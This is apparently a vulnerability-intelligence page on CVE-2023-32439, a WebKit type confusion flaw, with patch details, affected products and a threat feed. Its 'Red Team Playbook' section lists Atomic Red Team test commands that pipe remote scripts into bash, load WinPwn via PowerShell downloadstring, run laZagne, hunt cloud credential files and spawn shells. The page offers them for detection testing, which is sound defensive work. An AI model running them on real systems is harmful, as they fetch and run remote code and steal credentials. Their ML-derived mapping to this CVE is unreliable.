CVE-2023-32439
Overview
This vulnerability is a type confusion flaw occurring within the memory management routines of Apple’s WebKit engine, specifically affecting Safari and the web content processing components of iOS, iPadOS, and macOS. The root cause lies in insufficient type validation checks during object handling, which leads to improper casting or interpretation of data types. This flaw is triggered when processing maliciously crafted web content that exploits the type confusion in the JavaScript or rendering engine components.
Vulnerability Description
A type confusion issue was addressed with improved checks. This issue is fixed in iOS 16.5.1 and iPadOS 16.5.1, iOS 15.7.7 and iPadOS 15.7.7, macOS Ventura 13.4.1, Safari 16.5.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
Impact
An attacker can execute arbitrary code with the privileges of the affected application by convincing a user to visit a maliciously crafted web page or open malicious content. This requires no prior authentication but does require user interaction such as browsing to a malicious URL. Successful exploitation can lead to full compromise of the affected device, including unauthorized access to sensitive data and persistent control over the system. This enables attackers to bypass security mechanisms and potentially move laterally within a network environment.
Solution
Apple has released security updates addressing this issue in iOS and iPadOS versions 15.7.7 and 16.5.1, macOS Ventura 13.4.1, and Safari 16.5.1. Users and administrators should apply these updates promptly. Detailed patch instructions and advisories are available at Apple’s official security support pages: https://support.apple.com/en-us/HT213811, https://support.apple.com/en-us/HT213814, and https://support.apple.com/en-us/HT213816.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in Apple's Safari web browser and various operating systems, including iOS, iPadOS, and macOS. This issue stems from a type confusion problem, which occurs when a program mistakenly interprets a variable as a different type than intended. Such discrepancies can lead to unpredictable behavior, including the potential execution of arbitrary code. The flaw was addressed through improved checks in the affected software versions, specifically in iOS 16.5.1, iPadOS 16.5.1, macOS Ventura 13.4.1, and Safari 16.5.1. The nature of this vulnerability highlights the importance of rigorous type handling in programming, particularly in environments where user input can be manipulated.
The primary attack vector for this vulnerability involves the processing of maliciously crafted web content. Attackers can exploit this flaw by enticing users to visit a specially designed webpage that triggers the type confusion. Once the vulnerability is activated, the attacker may gain the ability to execute arbitrary code on the user's device, potentially leading to unauthorized access to sensitive information, installation of malware, or complete system compromise. Given the widespread use of Safari and Apple's operating systems, the potential for exploitation is significant, particularly in environments where users may not have the latest security updates.
The real-world impact of this vulnerability is substantial, especially for organizations that rely on Apple products for their operations. If successfully exploited, attackers could gain access to confidential data, disrupt business operations, or even deploy ransomware. The risk is heightened for sectors such as finance, healthcare, and education, where sensitive information is routinely handled. Additionally, the acknowledgment from Apple regarding reports of active exploitation underscores the urgency for organizations to prioritize patching and updating their systems to mitigate the risk associated with this vulnerability.
To detect and mitigate the risks posed by this vulnerability, organizations should implement a multi-faceted approach. Regularly updating software to the latest versions is crucial, as patches are released to address known vulnerabilities. Employing web filtering solutions can help block access to malicious sites that may exploit this flaw. Furthermore, organizations should conduct security awareness training for employees, emphasizing the importance of cautious browsing habits and the dangers of clicking on unknown links. Intrusion detection systems (IDS) can also be configured to monitor for unusual activity that may indicate an attempted exploitation of this vulnerability.
In conclusion, the type confusion vulnerability affecting Safari and Apple's operating systems presents a significant threat to users and organizations alike. The potential for arbitrary code execution through malicious web content necessitates immediate attention and action. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future. The evolving landscape of cybersecurity demands vigilance and proactive measures to safeguard sensitive data and maintain operational integrity.
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2023-32439, indicating a modest uptick in attempts to exploit this type confusion vulnerability. While no new exploit techniques or ransomware affiliations have emerged, the observed telemetry suggests adversaries continue to probe affected Apple platforms, underscoring persistent interest in leveraging this flaw. This subtle rise in exploitation attempts, though not yet indicative of widespread campaigns, reinforces the need for ongoing vigilance. The risk level remains high due to the vulnerability’s potential for arbitrary code execution, but the current exploitation trend does not reflect a rapid escalation. Defenders should consider this sustained activity as a signal that threat actors are actively testing or deploying exploits in limited contexts, maintaining pressure on affected environments.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Webkitgtk | Webkitgtk\+ | All |
cpe:2.3:a:webkitgtk:webkitgtk\+:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32439 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213811 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213816 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213814 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213813 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/kb/HT213814 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/kb/HT213816 |
| security.gentoo.org |
GitHub CVE
|
https://security.gentoo.org/glsa/202401-04 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-32439 |